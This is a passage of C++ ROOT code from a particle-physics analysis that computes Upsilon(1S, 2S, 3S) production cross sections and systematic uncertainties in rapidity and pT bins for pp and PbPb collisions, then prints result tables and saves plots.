ppAlphaSyst(N2S_pp_rap4_2014[0],N2S_pp_rap4s_0p4,N2B_pp_rap4s_0p4,N2S_pp_rap4_2014[0],N2S_pp_rap4s_0p4[1]);\n syst2S_pp_rap[1]= ppAlphaSyst(N2S_pp_rap4_2014[1],N2S_pp_rap4s_0p8,N2B_pp_rap4s_0p8,N2S_pp_rap4_2014[1],N2S_pp_rap4s_0p8[1]);\n syst2S_pp_rap[2]= ppAlphaSyst(N2S_pp_rap4_2014[2],N2S_pp_rap4s_1p2,N2B_pp_rap4s_1p2,N2S_pp_rap4_2014[2],N2S_pp_rap4s_1p2[1]);\n syst2S_pp_rap[3]= ppAlphaSyst(N2S_pp_rap4_2014[3],N2S_pp_rap4s_1p6,N2B_pp_rap4s_1p6,N2S_pp_rap4_2014[3],N2S_pp_rap4s_1p6[1]);\n syst2S_pp_rap[4]= ppAlphaSyst(N2S_pp_rap4_2014[4],N2S_pp_rap4s_2p0,N2B_pp_rap4s_2p0,N2S_pp_rap4_2014[4],N2S_pp_rap4s_2p0[1]);\n syst2S_pp_rap[5]= ppAlphaSyst(N2S_pp_rap4_2014[5],N2S_pp_rap4s_2p4,N2B_pp_rap4s_2p4,N2S_pp_rap4_2014[5],N2S_pp_rap4s_2p4[1]);\n ///\n syst3S_pp_rap[0]= ppAlphaSyst(N3S_pp_rap4_2014[0],N3S_pp_rap4s_0p4,N3B_pp_rap4s_0p4,N3S_pp_rap4_2014[0],N3S_pp_rap4s_0p4[1]);\n syst3S_pp_rap[1]= ppAlphaSyst(N3S_pp_rap4_2014[1],N3S_pp_rap4s_0p8,N3B_pp_rap4s_0p8,N3S_pp_rap4_2014[1],N3S_pp_rap4s_0p8[1]);\n syst3S_pp_rap[2]= ppAlphaSyst(N3S_pp_rap4_2014[2],N3S_pp_rap4s_1p2,N3B_pp_rap4s_1p2,N3S_pp_rap4_2014[2],N3S_pp_rap4s_1p2[1]);\n syst3S_pp_rap[3]= ppAlphaSyst(N3S_pp_rap4_2014[3],N3S_pp_rap4s_1p6,N3B_pp_rap4s_1p6,N3S_pp_rap4_2014[3],N3S_pp_rap4s_1p6[1]);\n syst3S_pp_rap[4]= ppAlphaSyst(N3S_pp_rap4_2014[4],N3S_pp_rap4s_2p0,N3B_pp_rap4s_2p0,N3S_pp_rap4_2014[4],N3S_pp_rap4s_2p0[1]);\n syst3S_pp_rap[5]= ppAlphaSyst(N3S_pp_rap4_2014[5],N3S_pp_rap4s_2p4,N3B_pp_rap4s_2p4,N3S_pp_rap4_2014[5],N3S_pp_rap4s_2p4[1]);\n \n for(int i = 0 ; i<nRapBins_2014 ; i++)\n {\n stat1S_pp_rap[i]=N1S_pp_rap3p5_2014e[i]/N1S_pp_rap3p5_2014[i];\n syst1S_pptnp_rap[i]=Aet_1S_pythia_rap3p5_fulls[i]/Aet_1S_pythia_rap2014_STA[i]; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst1S_ppgs_rap[i]=Aet_1S_pythia_rap2014_STAe[i]/Aet_1S_pythia_rap2014_STA[i]; // doesnt matter if we use STA or MuID\n syst1S_ppsta_rap[i]=Aet_1S_pythia_rap2014_STAs[i]/Aet_1S_pythia_rap2014_STA[i];\n syst1S_ppmuid_rap[i]=Aet_1S_pythia_rap2014_muIDTrigs[i]/Aet_1S_pythia_rap2014_muIDTrig[i];\n syst1S_cspp_rap[i]=sqrt(syst1S_pptnp_rap[i]*syst1S_pptnp_rap[i]+syst1S_pp_rap[i]*syst1S_pp_rap[i]+pow(syst1S_ppgs_rap[i],2));\n //2S\n stat2S_pp_rap[i]=N2S_pp_rap4_2014e[i]/N2S_pp_rap4_2014[i];\n syst2S_pptnp_rap[i]=Aet_2S_pythia_rap2014s[i]/Aet_2S_pythia_rap2014[i];\n syst2S_ppgs_rap[i]=Aet_2S_pythia_rap2014e[i]/Aet_2S_pythia_rap2014[i]; // doesnt matter if we use STA or MuID\n syst2S_ppsta_rap[i]=Aet_2S_pythia_rap2014_STAe[i]/Aet_2S_pythia_rap2014[i];\n syst2S_ppmuid_rap[i]=Aet_2S_pythia_rap2014_muIDTrige[i]/Aet_2S_pythia_rap2014[i];\n syst2S_cspp_rap[i]=sqrt(syst2S_pptnp_rap[i]*syst2S_pptnp_rap[i]+syst2S_pp_rap[i]*syst2S_pp_rap[i]+pow(syst2S_ppgs_rap[i],2));\n //3S\n stat3S_pp_rap[i]=N3S_pp_rap4_2014e[i]/N3S_pp_rap4_2014[i];\n syst3S_pptnp_rap[i]=Aet_3S_pythia_rap2014s[i]/Aet_3S_pythia_rap2014[i];\n syst3S_ppgs_rap[i]=Aet_3S_pythia_rap2014e[i]/Aet_3S_pythia_rap2014[i]; // doesnt matter if we use STA or MuID\n syst3S_ppsta_rap[i]=Aet_3S_pythia_rap2014_STAe[i]/Aet_3S_pythia_rap2014[i];\n syst3S_ppmuid_rap[i]=Aet_3S_pythia_rap2014_muIDTrige[i]/Aet_3S_pythia_rap2014[i];\n syst3S_cspp_rap[i]=sqrt(syst3S_pptnp_rap[i]*syst3S_pptnp_rap[i]+syst3S_pp_rap[i]*syst3S_pp_rap[i]+pow(syst3S_ppgs_rap[i],2));\n\n }\n /// 4.\n for(int i = 0 ; i<nRapBins_2014 ; i++)\n {\n CS1S_pp_tnp_rap[i]= computeRatio( N1S_pp_rap3p5_2014[i] , Aet_1S_pythia_rap2014_STA[i] )/(L_pp_invNb*deltaRapEven[i]); \n CS1S_pp_tnp_rape[i] = computeRatioError( N1S_pp_rap3p5_2014[i] , Aet_1S_pythia_rap2014_STA[i], N1S_pp_rap3p5_2014e[i] ,0)/(L_pp_invNb*deltaRapEven[i]) ; \n CS1S_pp_tnp_raps[i] = CS1S_pp_tnp_rap[i]*syst1S_cspp_rap[i];\n //2S\n CS2S_pp_tnp_rap[i]= computeRatio( N2S_pp_rap4_2014[i] , Aet_2S_pythia_rap2014[i] )/(L_pp_invNb*deltaRapEven[i]); \n CS2S_pp_tnp_rape[i] = computeRatioError( N2S_pp_rap4_2014[i] , Aet_2S_pythia_rap2014[i], N2S_pp_rap4_2014e[i] ,0)/(L_pp_invNb*deltaRapEven[i]) ; \n CS2S_pp_tnp_raps[i] = CS2S_pp_tnp_rap[i]*syst2S_cspp_rap[i];\n //3S\n CS3S_pp_tnp_rap[i]= computeRatio( N3S_pp_rap4_2014[i] , Aet_3S_pythia_rap2014[i] )/(L_pp_invNb*deltaRapEven[i]); \n CS3S_pp_tnp_rape[i] = computeRatioError( N3S_pp_rap4_2014[i] , Aet_3S_pythia_rap2014[i], N3S_pp_rap4_2014e[i] ,0)/(L_pp_invNb*deltaRapEven[i]) ; \n CS3S_pp_tnp_raps[i] = CS3S_pp_tnp_rap[i]*syst3S_cspp_rap[i];\n \n }\n ///5.a. Y(1S)\n ofSyst <<\"1S pp Rap Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofSyst << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n\t stat1S_pp_rap[j] << \" & \" <<\n\t syst1S_cspp_rap[j] << \" & \" <<\n\t syst1S_pp_rap[j] << \" & \" <<\n\t syst1S_ppgs_rap[j] << \" & \" <<\n\t syst1S_ppmuid_rap[j] << \" & \" <<\n\t syst1S_ppsta_rap[j] << \" & \" <<\n\t syst_lumi << \" & \" <<\n\t tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"1S pp Rap Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofRes << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n\t CS1S_pp_tnp_rap[j] << \" \\\\pm \"<<\n\t CS1S_pp_tnp_rape[j]<<\" \\\\pm \"<<\n\t CS1S_pp_tnp_raps[j]<<\" \\\\pm \"<<\n\t CS1S_pp_tnp_rap[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n ///5.b. Y(2S)\n ofSyst <<\"2S pp Rap Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofSyst << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n\t stat2S_pp_rap[j] << \" & \" <<\n\t syst2S_cspp_rap[j] << \" & \" <<\n\t syst2S_pp_rap[j] << \" & \" <<\n\t syst2S_ppgs_rap[j] << \" & \" <<\n\t syst2S_ppmuid_rap[j] << \" & \" <<\n\t syst2S_ppsta_rap[j] << \" & \" <<\n\t syst_lumi << \" & \" <<\n\t tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"2S pp Rap Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofRes << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n\t CS2S_pp_tnp_rap[j] << \" \\\\pm \"<<\n\t CS2S_pp_tnp_rape[j]<<\" \\\\pm \"<<\n\t CS2S_pp_tnp_raps[j]<<\" \\\\pm \"<<\n\t CS2S_pp_tnp_rap[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n ///5.c. Y(3S)\n ofSyst <<\"3S pp Rap Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk \"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofSyst << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n\t stat3S_pp_rap[j] << \" & \" <<\n\t syst3S_cspp_rap[j] << \" & \" <<\n\t syst3S_pp_rap[j] << \" & \" <<\n\t syst3S_ppgs_rap[j] << \" & \" <<\n\t syst3S_ppmuid_rap[j] << \" & \" <<\n\t syst3S_ppsta_rap[j] << \" & \" <<\n\t syst_lumi << \" & \" <<\n\t tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"3S pp Rap Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofRes << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n\t CS3S_pp_tnp_rap[j] << \" \\\\pm \"<<\n\t CS3S_pp_tnp_rape[j]<<\" \\\\pm \"<<\n\t CS3S_pp_tnp_raps[j]<<\" \\\\pm \"<<\n\t CS3S_pp_tnp_rap[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n /// 6.\n gStyle->SetPadRightMargin(0.04); //reverting style here...\n TCanvas *cRappp = new TCanvas(\"cRappp\",\"cRappp\"); \n cRappp->SetLogy();\n cRappp->cd();\n TF1 *f4Rap = new TF1(\"f4Rap\",\"10\",0,2.4);\n f4Rap->SetLineWidth(0);\n f4Rap->GetXaxis()->SetTitle(\"|y|\");\n f4Rap->GetYaxis()->SetTitle(\"#frac{d#sigma}{dy} (nb)\");\n \n f4Rap->GetXaxis()->SetTitleSize(gTextSize+0.01);\n f4Rap->GetXaxis()->SetTitleOffset(f4Rap->GetXaxis()->GetTitleOffset()*1.1);\n f4Rap->GetYaxis()->SetTitleSize(gTextSize);\n f4Rap->GetYaxis()->SetLabelSize(0.9*f4Rap->GetYaxis()->GetLabelSize()); // Y axis title is fat\n f4Rap->GetYaxis()->SetTitleOffset(1.6);\n f4Rap->GetYaxis()->SetRangeUser(0.01,1.6);\n f4Rap->GetXaxis()->CenterTitle(kTRUE);\n f4Rap->Draw();\n TGraphErrors *gRap1TNPpp = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap,0,CS1S_pp_tnp_rape);\n gRap1TNPpp->SetMarkerColor(color1Spp);\n gRap1TNPpp->SetMarkerStyle(symbol1S);\n gRap1TNPpp->SetMarkerSize(markerSize);\n TGraphErrors *gRap1circlepp = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap,0,CS1S_pp_tnp_rape);\n gRap1circlepp->SetMarkerStyle(symbol1Sc);\n gRap1circlepp->SetMarkerSize(markerSize);\n gRap1circlepp->SetLineColor(kBlack);\n gRap1circlepp->SetLineWidth(2);\n TGraphErrors *gRap1ppsyst = new TGraphErrors(nRapBins_2014,rap2014,CS1S_pp_tnp_rap,rap2014e,CS1S_pp_tnp_raps);\n gRap1ppsyst->SetLineColor(color1Spp);\n gRap1ppsyst->SetFillStyle(0);\n gRap1ppsyst->SetLineWidth(2);\n gRap1ppsyst->SetMarkerSize(0);\n gRap1ppsyst->Draw(\"2\");\n gRap1TNPpp->Draw(\"pe\");\n gRap1circlepp->Draw(\"p\");\n //2S\n TGraphErrors *gRap2TNPpp = new TGraphErrors(nRapBins_2014,rap2014,CS2S_pp_tnp_rap,0,CS2S_pp_tnp_rape);\n gRap2TNPpp->SetMarkerColor(color2Spp);\n gRap2TNPpp->SetMarkerStyle(symbol2S);\n gRap2TNPpp->SetMarkerSize(markerSize);\n TGraphErrors *gRap2circlepp = new TGraphErrors(nRapBins_2014,rap2014,CS2S_pp_tnp_rap,0,CS2S_pp_tnp_rape);\n gRap2circlepp->SetMarkerStyle(symbol2Sc);\n gRap2circlepp->SetMarkerSize(markerSize);\n gRap2circlepp->SetLineColor(kBlack);\n gRap2circlepp->SetLineWidth(2);\n TGraphErrors *gRap2ppsyst = new TGraphErrors(nRapBins_2014,rap2014,CS2S_pp_tnp_rap,rap2014e,CS2S_pp_tnp_raps);\n gRap2ppsyst->SetLineColor(color2Spp);\n gRap2ppsyst->SetFillStyle(0);\n gRap2ppsyst->SetLineWidth(2);\n gRap2ppsyst->SetMarkerSize(0);\n gRap2ppsyst->Draw(\"2\");\n gRap2TNPpp->Draw(\"pe\");\n gRap2circlepp->Draw(\"p\");\n //3S\n TGraphErrors *gRap3TNPpp = new TGraphErrors(nRapBins_2014,rap2014,CS3S_pp_tnp_rap,0,CS3S_pp_tnp_rape);\n gRap3TNPpp->SetMarkerColor(color3Spp);\n gRap3TNPpp->SetMarkerStyle(symbol3S);\n gRap3TNPpp->SetMarkerSize(markerSize);\n TGraphErrors *gRap3circlepp = new TGraphErrors(nRapBins_2014,rap2014,CS3S_pp_tnp_rap,0,CS3S_pp_tnp_rape);\n gRap3circlepp->SetMarkerStyle(symbol3Sc);\n gRap3circlepp->SetMarkerSize(markerSize);\n gRap3circlepp->SetLineColor(kBlack);\n gRap3circlepp->SetLineWidth(2);\n TGraphErrors *gRap3ppsyst = new TGraphErrors(nRapBins_2014,rap2014,CS3S_pp_tnp_rap,rap2014e,CS3S_pp_tnp_raps);\n gRap3ppsyst->SetLineColor(color3Spp);\n gRap3ppsyst->SetFillStyle(0);\n gRap3ppsyst->SetLineWidth(2);\n gRap3ppsyst->SetMarkerSize(0);\n gRap3ppsyst->Draw(\"2\");\n gRap3TNPpp->Draw(\"pe\");\n gRap3circlepp->Draw(\"p\");\n gPad->RedrawAxis();\n TLegend *legend_cspprap = new TLegend(0.22,0.22,0.39,0.4);\n legend_cspprap->SetTextSize(gTextSize);\n legend_cspprap->SetFillStyle(0);\n legend_cspprap->SetFillColor(0);\n legend_cspprap->SetBorderSize(0);\n legend_cspprap->SetTextFont(42);\n legend_cspprap->AddEntry(gRap1TNPpp,\"#varUpsilon(1S) \",\"pe\"); \n legend_cspprap->AddEntry(gRap2TNPpp,\"#varUpsilon(2S) \",\"pe\");\n legend_cspprap->AddEntry(gRap3TNPpp,\"#varUpsilon(3S) \",\"pe\");\n legend_cspprap->Draw();\n\n if (!plotLin && !plotBox) {\n TLatex latexRap;\n latexRap.SetTextSize(gTextSize);\n latexRap.SetTextFont(42);\n TLatex *latexRaptxt = latexRap.DrawLatex(1.,0.015,Form(\"Global uncertainty: %.1f\",100*systXS_pp_glob));\n latexRaptxt->DrawLatex(2.06,0.015,\"%\"); /// \n }\n // /// plotBox goes here.\n // TBox *boxRap = new TBox(2.25,1-systXS_raa_glob,2.4,1+systXS_raa_glob); \n // boxRap->SetFillColor(kGray);\n // boxRap->Draw();\n // }\n \n CMS_lumi(cRappp,102,33);\n cRappp->Update();\n cRappp->RedrawAxis();\n cRappp->GetFrame()->Draw();\n \n cRappp->SaveAs(basedir2 + TString(\"/CS_pp_rap.pdf\"));\n cRappp->SaveAs(basedir2 + TString(\"/CS_pp_rap.png\"));\n cRappp->SaveAs(basedir1 + TString(\"/pdf/Xsection_ppNS_rap.pdf\"));\n cRappp->SaveAs(basedir1 + TString(\"/png/Xsection_ppNS_rap.png\"));\n if (plotLin)\n {\n cRappp->SetLogy(0);\n legend_cspprap->SetY1NDC(0.44); legend_cspprap->SetY2NDC(0.63); legend_cspprap->Draw();\n TLatex latexRapLin;\n latexRapLin.SetTextSize(gTextSize);\n latexRapLin.SetTextFont(42);\n if (!plotBox){\n TLatex *latexRaptxtLin = latexRapLin.DrawLatex(1.,0.45,Form(\"Global uncertainty: %.1f\",100*systXS_pp_glob));\n latexRaptxtLin->DrawLatex(2.06,0.45,\"%\"); ///\n }\n cRappp->cd();\n gPad->Update();\n f4Rap->GetYaxis()->SetRangeUser(0.,1.);\n f4Rap->GetYaxis()->SetTitleOffset(1.6);\n f4Rap->GetYaxis()->SetTitleSize(gTextSize);\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n cRappp->SaveAs(basedir2 + TString(\"/CS1S_ppRap_lin.pdf\"));\n cRappp->SaveAs(basedir2 + TString(\"/CS1S_ppRap_lin.png\")); \n cRappp->SaveAs(basedir1 + TString(\"/pdf/Xsection_pp_1S_Rap_lin.pdf\"));\n cRappp->SaveAs(basedir1 + TString(\"/png/Xsection_pp_1S_Rap_lin.png\"));\n }\n cRappp->Close();\n \n ///===============================\n /// (PbPb cross sections + pp cross sections in Large Bins) vs Pt\n ///===============================\n /// 1. Define variables\n /// 2. Define syst variables\n /// 3. Compute the syst\n /// 4. Compute the CS.\n /// 5. Print the outputs\n /// 6. Draw and save\n ///-------------------------------\n /// 1.a. Y(1S)\n float CS1S_aa_tnp_pt[nPtBins_2013] = {};\n float CS1S_aa_tnp_pte[nPtBins_2013] = {};\n float CS1S_aa_tnp_pts[nPtBins_2013] = {};\n\n /// 1.b. Y(2S)\n float CS2S_aa_tnp_pt[nPtBins_2010] = {};\n float CS2S_aa_tnp_pte[nPtBins_2010] = {};\n float CS2S_aa_tnp_pts[nPtBins_2010] = {};\n\n /// 1.d. Y(2S) pp large\n float CS2S_ppL_tnp_pt[nPtBins_2010] = {};\n float CS2S_ppL_tnp_pte[nPtBins_2010] = {};\n float CS2S_ppL_tnp_pts[nPtBins_2010] = {};\n\n /// 2.a Y(1S)\n float stat1S_aa_pt[nPtBins_2013]={}; //stat. aa relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float syst1S_aatnp_pt[nPtBins_2013]={};// tnp uncertainty\n float syst1S_aa_pt[nPtBins_2013]={}; //fit syst. uncertainty.\n float syst1S_aags_pt[nPtBins_2013]={}; //gen shape\n float syst1S_aasta_pt[nPtBins_2013]={}; ///sta uncertainty\n float syst1S_aamuid_pt[nPtBins_2013]={};/// muid uncertainty\n float syst1S_csaa_pt[nPtBins_2013]={}; /// quadratic sum.\n\n /// 2.b Y(2S)\n float stat2S_aa_pt[nPtBins_2010]={}; //stat. aa relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float syst2S_aatnp_pt[nPtBins_2010]={};// tnp uncertainty\n float syst2S_aa_pt[nPtBins_2010]={}; //fit syst. uncertainty.\n float syst2S_aags_pt[nPtBins_2010]={}; //gen shape\n float syst2S_aasta_pt[nPtBins_2010]={}; ///sta uncertainty\n float syst2S_aamuid_pt[nPtBins_2010]={};/// muid uncertainty\n float syst2S_csaa_pt[nPtBins_2010]={}; /// quadratic sum.\n\n\n /// 2.d Y(2S)\n float stat2S_ppL_pt[nPtBins_2010]={}; //stat. aa relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float syst2S_ppLtnp_pt[nPtBins_2010]={};// tnp uncertainty\n float syst2S_pp_ptLarge[nPtBins_2010]={}; //fit syst. uncertainty.\n float syst2S_ppLgs_pt[nPtBins_2010]={}; //gen shape\n float syst2S_ppLsta_pt[nPtBins_2010]={}; ///sta uncertainty\n float syst2S_ppLmuid_pt[nPtBins_2010]={};/// muid uncertainty\n float syst2S_csppL_pt[nPtBins_2010]={}; /// quadratic sum.\n\n\n /// 3.\n /// NOTE: the systematic uncertainty changes (see the text above). In pbpb, the glob is trk_aa, taa, nmb uncertainty.\n float systXS_aa_glob = sqrt(pow(tracking_aa,2)+pow(syst_taa,2)+pow(syst_nmb,2));\n syst1S_aa_pt[0]= ppAlphaSyst(N1S_aa_pt3p5[0],N1S_aa_pt3p5s_2p5,N1B_aa_pt3p5s_2p5,N1S_pp_pt3p5[0],N1S_pp_pt3p5s_2p5[1]);\n syst1S_aa_pt[1]= ppAlphaSyst(N1S_aa_pt3p5[1],N1S_aa_pt3p5s_5,N1B_aa_pt3p5s_5,N1S_pp_pt3p5[1],N1S_pp_pt3p5s_5[1]);\n syst1S_aa_pt[2]= ppAlphaSyst(N1S_aa_pt3p5[2],N1S_aa_pt3p5s_8,N1B_aa_pt3p5s_8,N1S_pp_pt3p5[2],N1S_pp_pt3p5s_8[1]);\n syst1S_aa_pt[3]= ppAlphaSyst(N1S_aa_pt3p5[3],N1S_aa_pt3p5s_12,N1B_aa_pt3p5s_12,N1S_pp_pt3p5[3],N1S_pp_pt3p5s_12[1]); \n syst1S_aa_pt[4]= ppAlphaSyst(N1S_aa_pt3p5[4],N1S_aa_pt3p5s_20,N1B_aa_pt3p5s_20,N1S_pp_pt3p5[4],N1S_pp_pt3p5s_20[1]);\n // large bins of pT for 2S\n syst2S_aa_pt[0]=ppAlphaSyst(N2S_aa_pt4_2013Large[0],N2S_aa_pt4Larges_5,N2B_aa_pt4Larges_5,N2S_pp_pt4_2013Large[0],N2S_pp_pt4Larges_5[1]);\n syst2S_aa_pt[1]=ppAlphaSyst(N2S_aa_pt4_2013Large[1],N2S_aa_pt4Larges_12,N2B_aa_pt4Larges_12,N2S_pp_pt4_2013Large[1],N2S_pp_pt4Larges_12[1]);\n syst2S_aa_pt[2]=ppAlphaSyst(N2S_aa_pt4_2013Large[2],N2S_aa_pt4Larges_20,N2B_aa_pt4Larges_20,N2S_pp_pt4_2013Large[2],N2S_pp_pt4Larges_20[1]);\n // large pp PT bins for 2S\n syst2S_pp_ptLarge[0]=ppAlphaSyst(N2S_pp_pt4_2013Large[0],N2S_pp_pt4Larges_5,N2B_pp_pt4Larges_5,N2S_pp_pt4_2013Large[0],N2S_pp_pt4Larges_5[1]);\n syst2S_pp_ptLarge[1]=ppAlphaSyst(N2S_pp_pt4_2013Large[1],N2S_pp_pt4Larges_12,N2B_pp_pt4Larges_12,N2S_pp_pt4_2013Large[1],N2S_pp_pt4Larges_12[1]);\n syst2S_pp_ptLarge[2]=ppAlphaSyst(N2S_pp_pt4_2013Large[2],N2S_pp_pt4Larges_20,N2B_pp_pt4Larges_20,N2S_pp_pt4_2013Large[2],N2S_pp_pt4Larges_20[1]);\n \n \n for(int i = 0 ; i<nPtBins_2013 ; i++)\n {\n stat1S_aa_pt[i]=N1S_aa_pt3p5e[i]/N1S_aa_pt3p5[i];\n syst1S_aatnp_pt[i]=Aet_1S_pyquen_pt_fulls[i]/Aet_1S_pyquen_pt_STA[i]; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst1S_aags_pt[i]=Aet_1S_pyquen_pt_STAe[i]/Aet_1S_pyquen_pt_STA[i]; // doesnt matter if we use STA or MuID\n syst1S_aasta_pt[i]=Aet_1S_pyquen_pt_STAs[i]/Aet_1S_pyquen_pt_STA[i];\n syst1S_aamuid_pt[i]=Aet_1S_pyquen_pt_muIDTrigs[i]/Aet_1S_pyquen_pt_muIDTrig[i];\n syst1S_csaa_pt[i]=sqrt(syst1S_aatnp_pt[i]*syst1S_aatnp_pt[i]+syst1S_aa_pt[i]*syst1S_aa_pt[i]+pow(syst1S_aags_pt[i],2));\n }\n // large pt bins for Y(2S), pbpb and pp, and 1S large pp, large pbpb bins (for DR)\n for(int i = 0 ; i<nPtBins_2010 ; i++)\n {\n stat2S_aa_pt[i]= N2S_aa_pt4_2013Largee[i]/ N2S_aa_pt4_2013Large[i];\n syst2S_aatnp_pt[i]=Aet_2S_pyquen_pt2013Large_fulls[i]/Aet_2S_pyquen_pt2013Large[i]; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst2S_aags_pt[i]=Aet_2S_pyquen_pt2013Largee[i]/Aet_2S_pyquen_pt2013Large[i];\n syst2S_aasta_pt[i]=Aet_2S_pyquen_pt2013Large_STAe[i]/Aet_2S_pyquen_pt2013Large[i];\n syst2S_aamuid_pt[i]=Aet_2S_pyquen_pt2013Large_muIDTrige[i]/Aet_2S_pyquen_pt2013Large[i];\n syst2S_csaa_pt[i]=sqrt(syst2S_aatnp_pt[i]*syst2S_aatnp_pt[i]+syst2S_aa_pt[i]*syst2S_aa_pt[i]+pow(syst2S_aags_pt[i],2));\n \n stat2S_ppL_pt[i]= N2S_pp_pt4_2013Largee[i]/ N2S_pp_pt4_2013Large[i];\n syst2S_ppLtnp_pt[i]=Aet_2S_pythia_pt2013Larges[i]/Aet_2S_pythia_pt2013Large[i]; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst2S_ppLgs_pt[i]=Aet_2S_pythia_pt2013Largee[i]/Aet_2S_pythia_pt2013Large[i];\n syst2S_ppLsta_pt[i]=Aet_2S_pythia_pt2013Large_STAe[i]/Aet_2S_pythia_pt2013Large[i];\n syst2S_ppLmuid_pt[i]=Aet_2S_pythia_pt2013Large_muIDTrige[i]/Aet_2S_pythia_pt2013Large[i];\n syst2S_csppL_pt[i]=sqrt(syst2S_ppLtnp_pt[i]*syst2S_ppLtnp_pt[i]+syst2S_pp_ptLarge[i]*syst2S_pp_ptLarge[i]+pow(syst2S_ppLgs_pt[i],2));\n\n }\n /// 4.a Y(1S)\n for(int i = 0 ; i<nPtBins_2013 ; i++)\n {\n CS1S_aa_tnp_pt[i]= computeRatio( N1S_aa_pt3p5[i] , Aet_1S_pyquen_pt_STA[i] )/(N_MB_corr * T_AA_b*RapBinWidth*deltaPt[i]);\n CS1S_aa_tnp_pte[i] = computeRatioError( N1S_aa_pt3p5[i] , Aet_1S_pyquen_pt_STA[i], N1S_aa_pt3p5e[i] ,0)/(N_MB_corr * T_AA_b*RapBinWidth*deltaPt[i]);\n CS1S_aa_tnp_pts[i] = CS1S_aa_tnp_pt[i]*syst1S_csaa_pt[i];\n }\n /// 4.b,c,d,e Y(2S) pbpb, 2S pp, 1S pp, 1S aa\n for(int i = 0 ; i<nPtBins_2010 ; i++)\n {\n CS2S_aa_tnp_pt[i]= computeRatio(N2S_aa_pt4_2013Large[i] , Aet_2S_pyquen_pt2013Large[i] )/(N_MB_corr * T_AA_b*RapBinWidth*deltaPt_2010[i]);\n CS2S_aa_tnp_pte[i] = computeRatioError(N2S_aa_pt4_2013Large[i] , Aet_2S_pyquen_pt2013Large[i], N2S_aa_pt4_2013Largee[i] ,0)/(N_MB_corr * T_AA_b*RapBinWidth*deltaPt_2010[i]);\n CS2S_aa_tnp_pts[i] = CS2S_aa_tnp_pt[i]*syst2S_csaa_pt[i];\n //4.c 2S pp Large, computed with:\n //N2S pt4 in large bins,\n //Aet 2S in large bins (also pt4)\n //systematics in large bins with up to date TNP.\n CS2S_ppL_tnp_pt[i]= computeRatio(N2S_pp_pt4_2013Large[i] , Aet_2S_pythia_pt2013Large[i] )/(L_pp_invNb*RapBinWidth*deltaPt_2010[i]);\n CS2S_ppL_tnp_pte[i] = computeRatioError(N2S_pp_pt4_2013Large[i] , Aet_2S_pythia_pt2013Large[i], N2S_pp_pt4_2013Largee[i] ,0)/(L_pp_invNb*RapBinWidth*deltaPt_2010[i]);\n CS2S_ppL_tnp_pts[i] = CS2S_ppL_tnp_pt[i]*syst2S_csppL_pt[i];\n\n }\n ///5.a. Y(1S)\n ofSyst <<\"1S PbPb Pt Bins | stat err. | syst err. = ( syst.fit +/- syst.gs +/- syst.muid +/- syst.sta ) +/- glob = ( syst.taa +/- syst.nmb +/- syst.trk )\"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofSyst << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n stat1S_aa_pt[j] << \" & \" <<\n syst1S_csaa_pt[j] << \" & \" <<\n syst1S_aa_pt[j] << \" & \" <<\n syst1S_aags_pt[j] << \" & \" <<\n syst1S_aamuid_pt[j] << \" & \" <<\n syst1S_aasta_pt[j] << \" & \" <<\n syst_taa << \" & \" <<\n syst_nmb << \" & \" <<\n tracking_aa <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"1S PbPb Pt Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofRes << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n CS1S_aa_tnp_pt[j] << \" \\\\pm \"<<\n CS1S_aa_tnp_pte[j]<<\" \\\\pm \"<<\n CS1S_aa_tnp_pts[j]<<\" \\\\pm \"<<\n CS1S_aa_tnp_pt[j]*systXS_aa_glob << \" \\\\\\\\\"\n\t << endl;\n }\n \n ///5.b. Y(2S)\n ofSyst <<\"2S PbPb Pt Bins | stat err. | syst err. = ( syst.fit +/- syst.gs +/- syst.muid +/- syst.sta ) +/- glob = ( syst.taa +/- syst.nmb +/- syst.trk )\"<<endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofSyst << 